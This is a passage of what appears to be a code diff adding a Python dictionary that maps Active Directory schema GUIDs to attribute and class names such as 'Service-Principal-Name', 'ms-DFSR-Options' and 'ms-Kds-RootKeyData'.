'Service-Principal-Name', + '29869b7c-64c4-42fe-97d5-fbc2fa124160': 'ms-DNS-DS-Record-Set-TTL', + 'ddac0cf6-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Vol-Entry', + '3320fc38-c379-4c17-a510-1bdf6133c5da': 'associatedDomain', + 'bf967992-0de6-11d0-a285-00aa003049e2': 'Is-Single-Valued', + 'ab5543ad-23a1-3b45-b937-9b313d5474a8': 'ms-DS-Value-Type-Reference-BL', + '80212840-4bdc-11d1-a9c4-0000f80367c1': 'Name-Service-Flags', + '7d6c0e97-7e20-11d0-afd6-00c04fd930c9': 'Setup-Command', + '03d4c32e-e217-4a61-9699-7bbc4729a026': 'ms-DNS-Signature-Inception-Offset', + '281416e2-1968-11d0-a28f-00aa003049e2': 'Type-Library', + 'f7fbfc45-85ab-42a4-a435-780e62f7858b': 'associatedName', + 'bac80572-09c4-4fa9-9ae6-7628d7adbe0e': 'jpegPhoto', + '8a0560c1-97b9-4811-9db7-dc061598965b': 'ms-DS-Optional-Feature-Flags', + 'bf9679d6-0de6-11d0-a285-00aa003049e2': 'NC-Name', + '553fd039-f32e-11d0-b0bc-00c04fd8dca6': 'Shell-Context-Menu', + 'f6b0f0be-a8e4-4468-8fd9-c3c47b8722f9': 'ms-DNS-Secure-Delegation-Polling-Period', + 'ddac0cf4-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Volume-Table', + 'fa4693bb-7bc2-4cb9-81a8-c99c43b7905e': 'attributeCertificateAttribute', + 'bf967993-0de6-11d0-a285-00aa003049e2': 'Keywords', + 'bf9679d8-0de6-11d0-a285-00aa003049e2': 'NETBIOS-Name', + '52458039-ca6a-11d0-afff-0000f80367c1': 'Shell-Property-Pages', + '3443d8cd-e5b6-4f3b-b098-659a0214a079': 'ms-DNS-Signing-Key-Descriptors', + 'bf967abb-0de6-11d0-a285-00aa003049e2': 'Volume', + 'cb843f80-48d9-11d1-a9c3-0000f80367c1': 'Attribute-Display-Names', + '1677581f-47f3-11d1-a9c3-0000f80367c1': 'Knowledge-Information', + '07383076-91df-11d1-aebc-0000f80367c1': 'netboot-Allow-New-Clients', + '45b01501-c419-11d1-bbc9-0080c76670c0': 'Short-Server-Name', + 'b7673e6d-cad9-4e9e-b31a-63e8098fdd63': 'ms-DNS-Signing-Keys', + 'bf967aa0-0de6-11d0-a285-00aa003049e2': 'Locality', + 'bf967922-0de6-11d0-a285-00aa003049e2': 'Attribute-ID', + 'c569bb46-c680-44bc-a273-e6c227d71b45': 'labeledURI', + '0738307b-91df-11d1-aebc-0000f80367c1': 'netboot-Answer-Only-Valid-Clients', + '3e74f60e-3e73-11d1-a9c0-0000f80367c1': 'Show-In-Address-Book', + '28c458f5-602d-4ac9-a77c-b3f1be503a7e': 'ms-DNS-DNSKEY-Records', + 'ad44bb41-67d5-4d88-b575-7b20674e76d8': 'PosixAccount', + 'bf967924-0de6-11d0-a285-00aa003049e2': 'Attribute-Security-GUID', + '1fbb0be8-ba63-11d0-afef-0000f80367c1': 'Last-Backup-Restoration-Time', + '0738307a-91df-11d1-aebc-0000f80367c1': 'netboot-Answer-Requests', + 'bf967984-0de6-11d0-a285-00aa003049e2': 'Show-In-Advanced-View-Only', + '285c6964-c11a-499e-96d8-bf7c75a223c6': 'ms-DNS-Parent-Has-Secure-Delegation', + '52ab8671-5709-11d1-a9c6-0000f80367c1': 'Lost-And-Found', + 'bf967925-0de6-11d0-a285-00aa003049e2': 'Attribute-Syntax', + 'bf967995-0de6-11d0-a285-00aa003049e2': 'Last-Content-Indexed', + '5643ff81-35b6-4ca9-9512-baf0bd0a2772': 'ms-FRS-Hub-Member', + '07383079-91df-11d1-aebc-0000f80367c1': 'netboot-Current-Client-Count', + '17eb4278-d167-11d0-b002-0000f80367c1': 'SID-History', + 'ba340d47-2181-4ca0-a2f6-fae4479dab2a': 'ms-DNS-Propagation-Time', + '5b6d8467-1a18-4174-b350-9cc6e7b4ac8d': 'ShadowAccount', + '9a7ad944-ca53-11d1-bbd0-0080c76670c0': 'Attribute-Types', + '52ab8670-5709-11d1-a9c6-0000f80367c1': 'Last-Known-Parent', + '92aa27e0-5c50-402d-9ec1-ee847def9788': 'ms-FRS-Topology-Pref', + '3e978921-8c01-11d0-afda-00c04fd930c9': 'Netboot-GUID', + '2a39c5b2-8960-11d1-aebc-0000f80367c1': 'Signature-Algorithms', + 'aff16770-9622-4fbc-a128-3088777605b9': 'ms-DNS-NSEC3-User-Salt', + '11b6cc94-48c4-11d1-a9c3-0000f80367c1': 'Meeting', + 'd0e1d224-e1a0-42ce-a2da-793ba5244f35': 'audio', + 'bf967996-0de6-11d0-a285-00aa003049e2': 'Last-Logoff', + '1a861408-38c3-49ea-ba75-85481a77c655': 'ms-DFSR-Version', + '532570bd-3d77-424f-822f-0d636dc6daad': 'Netboot-DUID', + '3e978924-8c01-11d0-afda-00c04fd930c9': 'Site-GUID', + '387d9432-a6d1-4474-82cd-0a89aae084ae': 'ms-DNS-NSEC3-Current-Salt', + '2a9350b8-062c-4ed0-9903-dde10d06deba': 'PosixGroup', + '6da8a4fe-0e52-11d0-a286-00aa003049e2': 'Auditing-Policy', + 'bf967997-0de6-11d0-a285-00aa003049e2': 'Last-Logon', + '78f011ec-a766-4b19-adcf-7b81ed781a4d': 'ms-DFSR-Extension', + '3e978920-8c01-11d0-afda-00c04fd930c9': 'Netboot-Initialization', + 'd50c2cdd-8951-11d1-aebc-0000f80367c1': 'Site-Link-List', + '07831919-8f94-4fb6-8a42-91545dccdad3': 'ms-Authz-Effective-Security-Policy', + 'c9010e74-4e58-49f7-8a89-5e3e2340fcf8': 'ms-COM-Partition', + 'bf967928-0de6-11d0-a285-00aa003049e2': 'Authentication-Options', + 'c0e20a04-0e5a-4ff3-9482-5efeaecd7060': 'Last-Logon-Timestamp', + 'd7d5e8c1-e61f-464f-9fcf-20bbe0a2ec54': 'ms-DFSR-RootPath', + '0738307e-91df-11d1-aebc-0000f80367c1': 'netboot-IntelliMirror-OSes', + 'd50c2cdc-8951-11d1-aebc-0000f80367c1': 'Site-List', + 'b946bece-09b5-4b6a-b25a-4b63a330e80e': 'ms-Authz-Proposed-Security-Policy', + '2517fadf-fa97-48ad-9de6-79ac5721f864': 'IpService', + '1677578d-47f3-11d1-a9c3-0000f80367c1': 'Authority-Revocation-List', + 'bf967998-0de6-11d0-a285-00aa003049e2': 'Last-Set-Time', + '90b769ac-4413-43cf-ad7a-867142e740a3': 'ms-DFSR-RootSizeInMb', + '07383077-91df-11d1-aebc-0000f80367c1': 'netboot-Limit-Clients', + '3e10944c-c354-11d0-aff8-0000f80367c1': 'Site-Object', + '8e1685c6-3e2f-48a2-a58d-5af0ea789fa0': 'ms-Authz-Last-Effective-Security-Policy', + '250464ab-c417-497a-975a-9e0d459a7ca1': 'ms-COM-PartitionSet', + 'bf96792c-0de6-11d0-a285-00aa003049e2': 'Auxiliary-Class', + '7d6c0e9c-7e20-11d0-afd6-00c04fd930c9': 'Last-Update-Sequence', + '86b9a69e-f0a6-405d-99bb-77d977992c2a': 'ms-DFSR-StagingPath', + '07383080-91df-11d1-aebc-0000f80367c1': 'netboot-Locally-Installed-OSes', + '3e10944d-c354-11d0-aff8-0000f80367c1': 'Site-Object-BL', + '80997877-f874-4c68-864d-6e508a83bdbd': 'ms-Authz-Resource-Condition', + '9c2dcbd2-fbf0-4dc7-ace0-8356dcd0f013': 'IpProtocol', + 'bf96792d-0de6-11d0-a285-00aa003049e2': 'Bad-Password-Time', + '7359a352-90f7-11d1-aebc-0000f80367c1': 'LDAP-Admin-Limits', + '250a8f20-f6fc-4559-ae65-e4b24c67aebe': 'ms-DFSR-StagingSizeInMb', + '3e978923-8c01-11d0-afda-00c04fd930c9': 'Netboot-Machine-File-Path', + '1be8f17c-a9ff-11d0-afe2-00c04fd930c9': 'Site-Server', + '62f29b60-be74-4630-9456-2f6691993a86': 'ms-Authz-Central-Access-Policy-ID', + '90df3c3e-1854-4455-a5d7-cad40d56657a': 'ms-DS-App-Configuration', + 'bf96792e-0de6-11d0-a285-00aa003049e2': 'Bad-Pwd-Count', + 'bf96799a-0de6-11d0-a285-00aa003049e2': 'LDAP-Display-Name', + '5cf0bcc8-60f7-4bff-bda6-aea0344eb151': 'ms-DFSR-ConflictPath', + '07383078-91df-11d1-aebc-0000f80367c1': 'netboot-Max-Clients', + '26d9736f-6070-11d1-a9c6-0000f80367c1': 'SMTP-Mail-Address', + '57f22f7a-377e-42c3-9872-cec6f21d2e3e': 'ms-Authz-Member-Rules-In-Central-Access-Policy', + 'cadd1e5e-fefc-4f3f-b5a9-70e994204303': 'OncRpc', + '1f0075f9-7e40-11d0-afd6-00c04fd930c9': 'Birth-Location', + '7359a353-90f7-11d1-aebc-0000f80367c1': 'LDAP-IPDeny-List', + '9ad33fc9-aacf-4299-bb3e-d1fc6ea88e49': 'ms-DFSR-ConflictSizeInMb', + '2df90d85-009f-11d2-aa4c-00c04fd7d83a': 'Netboot-Mirror-Data-File', + '2ab0e76c-7041-11d2-9905-0000f87a57d4': 'SPN-Mappings', + '516e67cf-fedd-4494-bb3a-bc506a948891': 'ms-Authz-Member-Rules-In-Central-Access-Policy-BL', + '9e67d761-e327-4d55-bc95-682f875e2f8e': 'ms-DS-App-Data', + 'd50c2cdb-8951-11d1-aebc-0000f80367c1': 'Bridgehead-Server-List-BL', + '03726ae7-8e7d-4446-8aae-a91657c00993': 'ms-DFSR-Enabled', + '0738307c-91df-11d1-aebc-0000f80367c1': 'netboot-New-Machine-Naming-Policy', + 'bf967a39-0de6-11d0-a285-00aa003049e2': 'State-Or-Province-Name', + 'fa32f2a6-f28b-47d0-bf91-663e8f910a72': 'ms-DS-Claim-Source', + 'ab911646-8827-4f95-8780-5a8f008eb68f': 'IpHost', + 'd50c2cda-8951-11d1-aebc-0000f80367c1': 'Bridgehead-Transport-List', + 'bf96799b-0de6-11d0-a285-00aa003049e2': 'Link-ID', + 'eeed0fc8-1001-45ed-80cc-bbf744930720': 'ms-DFSR-ReplicationGroupType', + '0738307d-91df-11d1-aebc-0000f80367c1': 'netboot-New-Machine-OU', + 'bf967a3a-0de6-11d0-a285-00aa003049e2': 'Street-Address', + '92f19c05-8dfa-4222-bbd1-2c4f01487754': 'ms-DS-Claim-Source-Type', + 'cfee1051-5f28-4bae-a863-5d0cc18a8ed1': 'ms-DS-Az-Admin-Manager', + 'f87fa54b-b2c5-4fd7-88c0-daccb21d93c5': 'buildingName', + '2ae80fe2-47b4-11d0-a1a4-00c04fd930c9': 'Link-Track-Secret', + '23e35d4c-e324-4861-a22f-e199140dae00': 'ms-DFSR-TombstoneExpiryInMin', + '07383082-91df-11d1-aebc-0000f80367c1': 'netboot-SCP-BL', + '3860949f-f6a8-4b38-9950-81ecb6bc2982': 'Structural-Object-Class', + '0c2ce4c7-f1c3-4482-8578-c60d4bb74422': 'ms-DS-Claim-Is-Value-Space-Restricted', + 'd95836c3-143e-43fb-992a-b057f1ecadf9': 'IpNetwork', + 'bf96792f-0de6-11d0-a285-00aa003049e2': 'Builtin-Creation-Time', + 'bf96799d-0de6-11d0-a285-00aa003049e2': 'Lm-Pwd-History', + 'd68270ac-a5dc-4841-a6ac-cd68be38c181': 'ms-DFSR-FileFilter', + '07383081-91df-11d1-aebc-0000f80367c1': 'netboot-Server', + 'bf967a3b-0de6-11d0-a285-00aa003049e2': 'Sub-Class-Of', + 'cd789fb9-96b4-4648-8219-ca378161af38': 'ms-DS-Claim-Is-Single-Valued', + 'ddf8de9b-cba5-4e12-842e-28d8b66f75ec': 'ms-DS-Az-Application', + 'bf967930-0de6-11d0-a285-00aa003049e2': 'Builtin-Modified-Count', + 'bf96799e-0de6-11d0-a285-00aa003049e2': 'Local-Policy-Flags', + '93c7b477-1f2e-4b40-b7bf-007e8d038ccf': 'ms-DFSR-DirectoryFilter', + '2df90d84-009f-11d2-aa4c-00c04fd7d83a': 'Netboot-SIF-File', + 'bf967a3c-0de6-11d0-a285-00aa003049e2': 'Sub-Refs', + '1e5d393d-8cb7-4b4f-840a-973b36cc09c3': 'ms-DS-Generation-Id', + '72efbf84-6e7b-4a5c-a8db-8a75a7cad254': 'NisNetgroup', + 'bf967931-0de6-11d0-a285-00aa003049e2': 'Business-Category', + '80a67e4d-9f22-11d0-afdd-00c04fd930c9': 'Local-Policy-Reference', + '4699f15f-a71f-48e2-9ff5-5897c0759205': 'ms-DFSR-Schedule', + '0738307f-91df-11d1-aebc-0000f80367c1': 'netboot-Tools', + '9a7ad94d-ca53-11d1-bbd0-0080c76670c0': 'SubSchemaSubEntry', + 'a13df4e2-dbb0-4ceb-828b-8b2e143e9e81': 'ms-DS-Primary-Computer', + '860abe37-9a9b-4fa4-b3d2-b8ace5df9ec5': 'ms-DS-Az-Operation', + 'ba305f76-47e3-11d0-a1a6-00c04fd930c9': 'Bytes-Per-Minute', + 'bf9679a1-0de6-11d0-a285-00aa003049e2': 'Locale-ID', + '048b4692-6227-4b67-a074-c4437083e14b': 'ms-DFSR-Keywords', + 'bf9679d9-0de6-11d0-a285-00aa003049e2': 'Network-Address', + '963d274c-48be-11d1-a9c3-0000f80367c1': 'Super-Scope-Description', + '998c06ac-3f87-444e-a5df-11b03dc8a50c': 'ms-DS-Is-Primary-Computer-For', + '7672666c-02c1-4f33-9ecf-f649c1dd9b7c': 'NisMap', + 'bf967932-0de6-11d0-a285-00aa003049e2': 'CA-Certificate', + 'bf9679a2-0de6-11d0-a285-00aa003049e2': 'Locality-Name', + 'fe515695-3f61-45c8-9bfa-19c148c57b09': 'ms-DFSR-Flags', + 'bf9679da-0de6-11d0-a285-00aa003049e2': 'Next-Level-Store', + '963d274b-48be-11d1-a9c3-0000f80367c1': 'Super-Scopes', + 'db2c48b2-d14d-ec4e-9f58-ad579d8b440e': 'ms-Kds-KDF-AlgorithmID', + '8213eac9-9d55-44dc-925c-e9a52b927644': 'ms-DS-Az-Role', + '963d2740-48be-11d1-a9c3-0000f80367c1': 'CA-Certificate-DN', + 'd9e18316-8939-11d1-aebc-0000f80367c1': 'Localized-Description', + 'd6d67084-c720-417d-8647-b696237a114c': 'ms-DFSR-Options', + 'bf9679db-0de6-11d0-a285-00aa003049e2': 'Next-Rid', + '5245801d-ca6a-11d0-afff-0000f80367c1': 'Superior-DNS-Root', + '8a800772-f4b8-154f-b41c-2e4271eff7a7': 'ms-Kds-KDF-Param', + '904f8a93-4954-4c5f-b1e1-53c097a31e13': 'NisObject', + '963d2735-48be-11d1-a9c3-0000f80367c1': 'CA-Connect', + 'a746f0d1-78d0-11d2-9916-0000f87a57d4': 'Localization-Display-Id', + '1035a8e1-67a8-4c21-b7bb-031cdf99d7a0': 'ms-DFSR-ContentSetGuid', + '52458018-ca6a-11d0-afff-0000f80367c1': 'Non-Security-Member', + 'bf967a3f-0de6-11d0-a285-00aa003049e2': 'Supplemental-Credentials', + '1702975d-225e-cb4a-b15d-0daea8b5e990': 'ms-Kds-SecretAgreement-AlgorithmID', + '4feae054-ce55-47bb-860e-5b12063a51de': 'ms-DS-Az-Scope', + '963d2738-48be-11d1-a9c3-0000f80367c1': 'CA-Usages', + '09dcb79f-165f-11d0-a064-00aa006c33ed': 'Location', + 'e3b44e05-f4a7-4078-a730-f48670a743f8': 'ms-DFSR-RdcEnabled', + '52458019-ca6a-11d0-afff-0000f80367c1': 'Non-Security-Member-BL', + '1677588f-47f3-11d1-a9c3-0000f80367c1': 'Supported-Application-Context', + '30b099d9-edfe-7549-b807-eba444da79e9': 'ms-Kds-SecretAgreement-Param', + 'a699e529-a637-4b7d-a0fb-5dc466a0b8a7': 'IEEE802Device', + '963d2736-48be-11d1-a9c3-0000f80367c1': 'CA-WEB-URL', + 'bf9679a4-0de6-11d0-a285-00aa003049e2': 'Lock-Out-Observation-Window', + 'f402a330-ace5-4dc1-8cc9-74d900bf8ae0': 'ms-DFSR-RdcMinFileSizeInKb', + '19195a56-6da0-11d0-afd3-00c04fd930c9': 'Notification-List', + 'bf967a41-0de6-11d0-a285-00aa003049e2': 'Surname', + 'e338f470-39cd-4549-ab5b-f69f9e583fe0': 'ms-Kds-PublicKey-Length', + '1ed3a473-9b1b-418a-bfa0-3a37b95a5306': 'ms-DS-Az-Task', + 'd9e18314-8939-11d1-aebc-0000f80367c1': 'Can-Upgrade-Script', + 'bf9679a5-0de6-11d0-a285-00aa003049e2': 'Lockout-Duration', + '2cc903e2-398c-443b-ac86-ff6b01eac7ba': 'ms-DFSR-DfsPath', + 'bf9679df-0de6-11d0-a285-00aa003049e2': 'NT-Group-Members', + '037651e4-441d-11d1-a9c3-0000f80367c1': 'Sync-Attributes', + '615f42a1-37e7-1148-a0dd-3007e09cfc81': 'ms-Kds-PrivateKey-Length', + '4bcb2477-4bb3-4545-a9fc-fb66e136b435': 'BootableDevice', + '9a7ad945-ca53-11d1-bbd0-0080c76670c0': 'Canonical-Name', + 'bf9679a6-0de6-11d0-a285-00aa003049e2': 'Lockout-Threshold', + '51928e94-2cd8-4abe-b552-e50412444370': 'ms-DFSR-RootFence', + '3e97891f-8c01-11d0-afda-00c04fd930c9': 'NT-Mixed-Domain', + '037651e3-441d-11d1-a9c3-0000f80367c1': 'Sync-Membership', + '26627c27-08a2-0a40-a1b1-8dce85b42993': 'ms-Kds-RootKeyData', + '44f00041-35af-468b-b20a-6ce8737c580b': 'ms-DS-Optional-Feature', + 'd4159c92-957d-4a87-8a67-8d2934e01649': 'carLicense', + '28630ebf-41d5-11d1-a9c1-0000f80367c1': 'Lockout-Time', + '2dad8796-7619-4ff8-966e-0a5cc67b287f': 'ms-DFSR-ReplicationGroupGuid', + 'bf9679e2-0de6-11d0-a285-00aa003049e2': 'Nt-Pwd-History', + '037651e2-441d-11d1-a9c3-0000f80367c1': 'Sync-With-Object', + 'd5f07340-e6b0-1e4a-97be-0d3318bd9db1': 'ms-Kds-Version', + 'd6710785-86ff-44b7-85b5-f1f8689522ce': 'msSFU-30-Mail-Aliases', + '7bfdcb81-4807-11d1-a9c3-0000f80367c1': 'Catalogs', + 'bf9679a9-0de6-11d0-a285-00aa003049e2': 'Logo', + 'f7b85ba9-3bf9-428f-aab4-2eee6d56f063': 'ms-DFSR-DfsLinkTarget', + 'bf9679e3-0de6-11d0-a285-00aa003049e2': 'NT-Security-Descriptor', + '037651e5-441d-11d1-a9c3-0000f80367c1': 'Sync-With-SID', + '96400482-cf07-e94c-90e8-f2efc4f0495e': 'ms-Kds-DomainID', + '3bcd9db8-f84b-451c-952f-6c52b81f9ec6': 'ms-DS-Password-Settings', + '7bfdcb7e-4807-11d1-a9c3-0000f80367c1': 'Categories', + 'bf9679aa-0de6-11d0-a285-00aa003049e2': 'Logon-Count', + '261337aa-f1c3-44b2-bbea-c88d49e6f0c7': 'ms-DFSR-MemberReference', + 'bf9679e4-0de6-11d0-a285-00aa003049e2': 'Obj-Dist-Name', + 'bf967a43-0de6-11d0-a285-00aa003049e2': 'System-Auxiliary-Class', + '6cdc047f-f522-b74a-9a9c-d95ac8cdfda2': 'ms-Kds-UseStartTime', + 'e263192c-2a02-48df-9792-94f2328781a0': 'msSFU-30-Net-Id', + '7d6c0e94-7e20-11d0-afd6-00c04fd930c9': 'Category-Id', + 'bf9679ab-0de6-11d0-a285-00aa003049e2': 'Logon-Hours', + '6c7b5785-3d21-41bf-8a8a-627941544d5a': 'ms-DFSR-ComputerReference', + '26d97369-6070-11d1-a9c6-0000f80367c1': 'Object-Category', + 'e0fa1e62-9b45-11d0-afdd-00c04fd930c9': 'System-Flags', + 'ae18119f-6390-0045-b32d-97dbc701aef7': 'ms-Kds-CreateTime', + '5b06b06a-4cf3-44c0-bd16-43bc10a987da': 'ms-DS-Password-Settings-Container', + '963d2732-48be-11d1-a9c3-0000f80367c1': 'Certificate-Authority-Object', + 'bf9679ac-0de6-11d0-a285-00aa003049e2': 'Logon-Workstation', + 'adde62c6-1880-41ed-bd3c-30b7d25e14f0': 'ms-DFSR-MemberReferenceBL', + 'bf9679e5-0de6-11d0-a285-00aa003049e2': 'Object-Class', + 'bf967a44-0de6-11d0-a285-00aa003049e2': 'System-May-Contain', + '9cdfdbc5-0304-4569-95f6-c4f663fe5ae6': 'ms-Imaging-Thumbprint-Hash', + '36297dce-656b-4423-ab65-dabb2770819e': 'msSFU-30-Domain-Info', + '1677579f-47f3-11d1-a9c3-0000f80367c1': 'Certificate-Revocation-List', + 'bf9679ad-0de6-11d0-a285-00aa003049e2': 'LSA-Creation-Time', + '5eb526d7-d71b-44ae-8cc6-95460052e6ac': 'ms-DFSR-ComputerReferenceBL', + 'bf9679e6-0de6-11d0-a285-00aa003049e2': 'Object-Class-Category', + 'bf967a45-0de6-11d0-a285-00aa003049e2': 'System-Must-Contain', + '8ae70db5-6406-4196-92fe-f3bb557520a7': 'ms-Imaging-Hash-Algorithm', + 'da83fc4f-076f-4aea-b4dc-8f4dab9b5993': 'ms-DS-Quota-Container', + '2a39c5b1-8960-11d1-aebc-0000f80367c1': 'Certificate-Templates', + 'bf9679ae-0de6-11d0-a285-00aa003049e2': 'LSA-Modified-Count', + 'eb20e7d6-32ad-42de-b141-16ad2631b01b': 'ms-DFSR-Priority', + '9a7ad94b-ca53-11d1-bbd0-0080c76670c0': 'Object-Classes', + 'bf967a46-0de6-11d0-a285-00aa003049e2': 'System-Only', + '3f78c3e5-f79a-46bd-a0b8-9d18116ddc79': 'ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity', + 'e15334a3-0bf0-4427-b672-11f5d84acc92': 'msSFU-30-Network-User', + '548e1c22-dea6-11d0-b010-0000f80367c1': 'Class-Display-Name', + 'bf9679af-0de6-11d0-a285-00aa003049e2': 'Machine-Architecture', + '817cf0b8-db95-4914-b833-5a079ef65764': 'ms-DFSR-DeletedPath', + '34aaa216-b699-11d0-afee-0000f80367c1': 'Object-Count', + 'bf967a47-0de6-11d0-a285-00aa003049e2': 'System-Poss-Superiors', + 'e362ed86-b728-0842-b27d-2dea7a9df218': 'ms-DS-ManagedPassword', + 'de91fc26-bd02-4b52-ae26-795999e96fc7': 'ms-DS-Quota-Control', + 'bf967938-0de6-11d0-a285-00aa003049e2': 'Code-Page', + 'c9b6358e-bb38-11d0-afef-0000f80367c1': 'Machine-Password-Change-Interval', + '53ed9ad1-9975-41f4-83f5-0c061a12553a': 'ms-DFSR-DeletedSizeInMb', + 'bf9679e7-0de6-11d0-a285-00aa003049e2': 'Object-Guid', + 'bf967a49-0de6-11d0-a285-00aa003049e2': 'Telephone-Number', + '0e78295a-c6d3-0a40-b491-d62251ffa0a6': 'ms-DS-ManagedPasswordId', + 'faf733d0-f8eb-4dcf-8d75-f1753af6a50b': 'msSFU-30-NIS-Map-Config', + 'bf96793b-0de6-11d0-a285-00aa003049e2': 'COM-ClassID', + 'bf9679b2-0de6-11d0-a285-00aa003049e2': 'Machine-Role', + '5ac48021-e447-46e7-9d23-92c0c6a90dfb': 'ms-DFSR-ReadOnly', + 'bf9679e8-0de6-11d0-a285-00aa003049e2': 'Object-Sid', + 'bf967a4a-0de6-11d0-a285-00aa003049e2': 'Teletex-Terminal-Identifier', + 'd0d62131-2d4a-d04f-99d9-1c63646229a4': 'ms-DS-ManagedPasswordPreviousId', + 'ce206244-5827-4a86-ba1c-1c0c386c1b64': 'ms-DS-Managed-Service-Account', + '281416d9-1968-11d0-a28f-00aa003049e2': 'COM-CLSID', + '80a67e4f-9f22-11d0-afdd-00c04fd930c9': 'Machine-Wide-Policy', + 'db7a08e7-fc76-4569-a45f-f5ecb66a88b5': 'ms-DFSR-CachePolicy', + '16775848-47f3-11d1-a9c3-0000f80367c1': 'Object-Version', + 'bf967a4b-0de6-11d0-a285-00aa003049e2': 'Telex-Number', + 'f8758ef7-ac76-8843-a2ee-a26b4dcaf409': 'ms-DS-ManagedPasswordInterval', + '1cb81863-b822-4379-9ea2-5ff7bdc6386d': 'ms-net-ieee-80211-GroupPolicy', + 'bf96793c-0de6-11d0-a285-00aa003049e2': 'COM-InterfaceID', + '0296c120-40da-11d1-a9c0-0000f80367c1': 'Managed-By', + '4c5d607a-ce49-444a-9862-82a95f5d1fcc': 'ms-DFSR-MinDurationCacheInMin', + 'bf9679ea-0de6-11d0-a285-00aa003049e2': 'OEM-Information', + '0296c121-40da-11d1-a9c0-0000f80367c1': 'Telex-Primary', + '888eedd6-ce04-df40-b462-b8a50e41ba38': 'ms-DS-GroupMSAMembership', + '281416dd-1968-11d0-a28f-00aa003049e2': 'COM-Other-Prog-Id', + '0296c124-40da-11d1-a9c0-0000f80367c1': 'Managed-Objects', + '2ab0e48d-ac4e-4afc-83e5-a34240db6198': 'ms-DFSR-MaxAgeInCacheInMin', + 'bf9679ec-0de6-11d0-a285-00aa003049e2': 'OM-Object-Class', + 'ed9de9a0-7041-11d2-9905-0000f87a57d4': 'Template-Roots', + '55872b71-c4b2-3b48-ae51-4095f91ec600': 'ms-DS-Transformation-Rules', + '99a03a6a-ab19-4446-9350-0cb878ed2d9b': 'ms-net-ieee-8023-GroupPolicy', + 'bf96793d-0de6-11d0-a285-00aa003049e2': 'COM-ProgID', + 'bf9679b5-0de6-11d0-a285-00aa003049e2': 'Manager', + '43061ac1-c8ad-4ccc-b785-2bfac20fc60a': 'ms-FVE-RecoveryPassword', + 'bf9679ed-0de6-11d0-a285-00aa003049e2': 'OM-Syntax', + '6db69a1c-9422-11d1-aebd-0000f80367c1': 'Terminal-Server', + '86284c08-0c6e-1540-8b15-75147d23d20d': 'ms-DS-Ingress-Claims-Transformation-Policy', + 'fa85c591-197f-477e-83bd-ea5a43df2239': 'ms-DFSR-LocalSettings', + '281416db-1968-11d0-a28f-00aa003049e2': 'COM-Treat-As-Class-Id', + 'bf9679b7-0de6-11d0-a285-00aa003049e2': 'MAPI-ID', + '85e5a5cf-dcee-4075-9cfd-ac9db6a2f245': 'ms-FVE-VolumeGuid', + 'ddac0cf3-af8f-11d0-afeb-00c04fd930c9': 'OMT-Guid', + 'f0f8ffa7-1191-11d0-a060-00aa006c33ed': 'Text-Country', + 'c137427e-9a73-b040-9190-1b095bb43288': 'ms-DS-Egress-Claims-Transformation-Policy', + 'ea715d30-8f53-40d0-bd1e-6109186d782c': 'ms-FVE-RecoveryInformation', + '281416de-1968-11d0-a28f-00aa003049e2': 'COM-Typelib-Id', + 'bf9679b9-0de6-11d0-a285-00aa003049e2': 'Marshalled-Interface', + '1fd55ea8-88a7-47dc-8129-0daa97186a54': 'ms-FVE-KeyPackage', + '1f0075fa-7e40-11d0-afd6-00c04fd930c9': 'OMT-Indx-Guid', + 'a8df7489-c5ea-11d1-bbcb-0080c76670c0': 'Text-Encoded-OR-Address', + 'd5006229-9913-2242-8b17-83761d1e0e5b': 'ms-DS-TDO-Egress-BL', + 'e11505d7-92c4-43e7-bf5c-295832ffc896': 'ms-DFSR-Subscriber', + '281416da-1968-11d0-a28f-00aa003049e2': 'COM-Unique-LIBID', + 'e48e64e0-12c9-11d3-9102-00c04fd91ab1': 'Mastered-By', + 'f76909bc-e678-47a0-b0b3-f86a0044c06d': 'ms-FVE-RecoveryGuid', + '3e978925-8c01-11d0-afda-00c04fd930c9': 'Operating-System', + 'ddac0cf1-af8f-11d0-afeb-00c04fd930c9': 'Time-Refresh', + '5a5661a1-97c6-544b-8056-e430fe7bc554': 'ms-DS-TDO-Ingress-BL', + '25173408-04ca-40e8-865e-3f9ce9bf1bd3': 'ms-DFS-Deleted-Link-v2', + 'bf96793e-0de6-11d0-a285-00aa003049e2': 'Comment', + 'bf9679bb-0de6-11d0-a285-00aa003049e2': 'Max-Pwd-Age', + 'aa4e1a6d-550d-4e05-8c35-4afcb917a9fe': 'ms-TPM-OwnerInformation', + 'bd951b3c-9c96-11d0-afdd-00c04fd930c9': 'Operating-System-Hotfix', + 'ddac0cf0-af8f-11d0-afeb-00c04fd930c9': 'Time-Vol-Change', + '0bb49a10-536b-bc4d-a273-0bab0dd4bd10': 'ms-DS-Transformation-Rules-Compiled', + '67212414-7bcc-4609-87e0-088dad8abdee': 'ms-DFSR-Subscription', + 'bf96793f-0de6-11d0-a285-00aa003049e2': 'Common-Name', + 'bf9679bc-0de6-11d0-a285-00aa003049e2': 'Max-Renew-Age', + '0e0d0938-2658-4580-a9f6-7a0ac7b566cb': 'ms-ieee-80211-Data', + '3e978927-8c01-11d0-afda-00c04fd930c9': 'Operating-System-Service-Pack', + 'bf967a55-0de6-11d0-a285-00aa003049e2': 'Title', + '693f2006-5764-3d4a-8439-58f04aab4b59': 'ms-DS-Applies-To-Resource-Types', + '7769fb7a-1159-4e96-9ccd-68bc487073eb': 'ms-DFS-Link-v2', + 'f0f8ff88-1191-11d0-a060-00aa006c33ed': 'Company', + 'bf9679bd-0de6-11d0-a285-00aa003049e2': 'Max-Storage', + '6558b180-35da-4efe-beed-521f8f48cafb': 'ms-ieee-80211-Data-Type', + '3e978926-8c01-11d0-afda-00c04fd930c9': 'Operating-System-Version', + '16c3a860-1273-11d0-a060-00aa006c33ed': 'Tombstone-Lifetime', + '24977c8c-c1b7-3340-b4f6-2b375eb711d7': 'ms-DS-RID-Pool-Allocation-Enabled', + '7b35dbad-b3ec-486a-aad4-2fec9d6ea6f6': 'ms-DFSR-GlobalSettings', + 'bf967943-0de6-11d0-a285-00aa003049e2': 'Content-Indexing-Allowed', + 'bf9679be-0de6-11d0-a285-00aa003049e2': 'Max-Ticket-Age', + '7f73ef75-14c9-4c23-81de-dd07a06f9e8b': 'ms-ieee-80211-ID', + 'bf9679ee-0de6-11d0-a285-00aa003049e2': 'Operator-Count', + 'c1dc867c-a261-11d1-b606-0000f80367c1': 'Transport-Address-Attribute', + '9709eaaf-49da-4db2-908a-0446e5eab844': 'ms-DS-cloudExtensionAttribute1', + 